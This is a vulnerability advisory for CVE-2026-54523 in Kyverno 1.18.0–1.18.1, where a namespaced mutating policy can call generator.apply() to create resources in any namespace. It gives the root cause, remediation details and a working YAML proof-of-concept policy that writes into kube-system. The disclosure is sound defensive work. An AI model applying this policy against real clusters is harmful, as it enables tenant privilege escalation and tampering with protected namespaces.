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GHSA-79gf-7frw-68m9 BIT-kyverno-2026-54523 CVE-2026-54523 GO-2026-6296

Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system

Critical Go
Severity
9.6 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.47%
Chance of exploitation in the next 30 days. Higher than 40.37% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-862 Missing Authorization
Fix
1.18.2
Upgrade github.com/kyverno/kyverno to this version or later

Description

Summary

In Kyverno v1.18.1, a tenant who can create a NamespacedMutatingPolicy in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL generator.apply(namespace, resources) function.

Details

pkg/cel/libs/context.go:177 declares GenerateResources(namespace string, dataList []map[string]any). The namespace argument arrives unvalidated from the CEL expression generator.apply("<target-namespace>", [...]).

Version-Specific Impact

v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):

The nmpol CEL compiler unintentionally exposes the generator library to match condition expressions. A namespaced mutating policy can invoke generator.apply() in a boolean CEL expression such as matchConditions, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller's cluster-wide privileges.

NamespacedGeneratingPolicy is not a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional).

Root Cause

The admission validator for NamespacedMutatingPolicy (pkg/cel/policies/mpol/validate.go) only checks that the policy compiles and does not enforce namespace scope on generator.apply() arguments.

Compare correctly-guarded equivalents: pkg/engine/context/loaders/configmap.go:102 rejects cross-namespace ConfigMap references for namespaced policies, and pkg/engine/apicall/apicall.go:73-82 enforces namespace segment matching. GenerateResources has neither guard.

Proof of Concept

Prerequisites: namespace tenant-ns exists; attacker has create on namespacedmutatingpolicies.policies.kyverno.io in tenant-ns.

apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
  name: cross-ns-escalate
  namespace: tenant-ns
spec:
  matchConstraints:
    resourceRules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["configmaps"]
      operations: ["CREATE"]
  mutations:
  - patchType: applyConfiguration
    applyConfiguration:
      expression: object
  matchConditions:
  - name: trigger-escalation
    expression: |
      generator.apply("kube-system", [
        {
          "apiVersion": dyn("v1"),
          "kind": dyn("ConfigMap"),
          "metadata": dyn({
            "name": "kube-system-config",
            "namespace": "kube-system"
          }),
          "data": dyn({
            "injected-by": "tenant-policy",
            "impact": "unauthorized access to kube-system namespace"
          })
        }
      ])

Apply the policy, then create any ConfigMap in tenant-ns to trigger the admission webhook. The admission controller creates configmap/kube-system-config in kube-system. By default, the admission controller has create on ConfigMaps in all namespaces.

Impact

A namespace-scoped user with create on NamespacedMutatingPolicy in >=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller's cluster-wide RBAC. This allows:

Injecting sensitive configuration into protected namespaces (e.g., kube-system, default) Disrupting cluster networking via NetworkPolicies Privilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles) Privilege escalation via RoleBinding creation in other namespaces Any installation that grants non-admin users access to NamespacedMutatingPolicy creation is affected.

Timeline

  • 2026-05-20: Vulnerability reproduced on main
  • 2026-07-13: CVE-2026-54523 / GHSA-79gf-7frw-68m9 published
  • 2026-07-22: Advisory clarified to document actual v1.18.1 attack vector (NamespacedMutatingPolicy in matchConditions, not NamespacedGeneratingPolicy)

Advisory Update

This advisory was updated to clarify the v1.18.1 attack surface. The nmpol vector in matchConditions was the reachable attack path in v1.18.1, while ngpol lacked end-to-end plumbing. The CVE, patched version, and CVSS score remain unchanged. Original report by @0xVijay.

Affected versions

Go

PackageVulnerableFixed in
github.com/kyverno/kyverno
>= 1.18.0, < 1.18.2
1.18.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/kyverno/kyverno Go → 1.18.2

go
go get github.com/kyverno/kyverno@v1.18.2 && go mod tidy

Severity breakdown

CVSS 3.1 9.6

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fpjq-c37h-cqcv
Kyverno Controller Denial of Service via forEach Mutation Panic
High Also affects github.com/kyverno/kyverno
GHSA-8wfp-579w-6r25
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
High Also affects github.com/kyverno/kyverno
GHSA-f9g8-6ppc-pqq4
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
Critical Also affects github.com/kyverno/kyverno
GHSA-cvq5-hhx3-f99p
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
High Also affects github.com/kyverno/kyverno
GHSA-q93q-v844-jrqp
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
High Also affects github.com/kyverno/kyverno
GHSA-fmqp-4wfc-w3v7
Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach
Medium Also affects github.com/kyverno/kyverno
GHSA-qr4g-8hrp-c4rw
Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
High Also affects github.com/kyverno/kyverno
GHSA-rggm-jjmc-3394
Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access
Critical Also affects github.com/kyverno/kyverno
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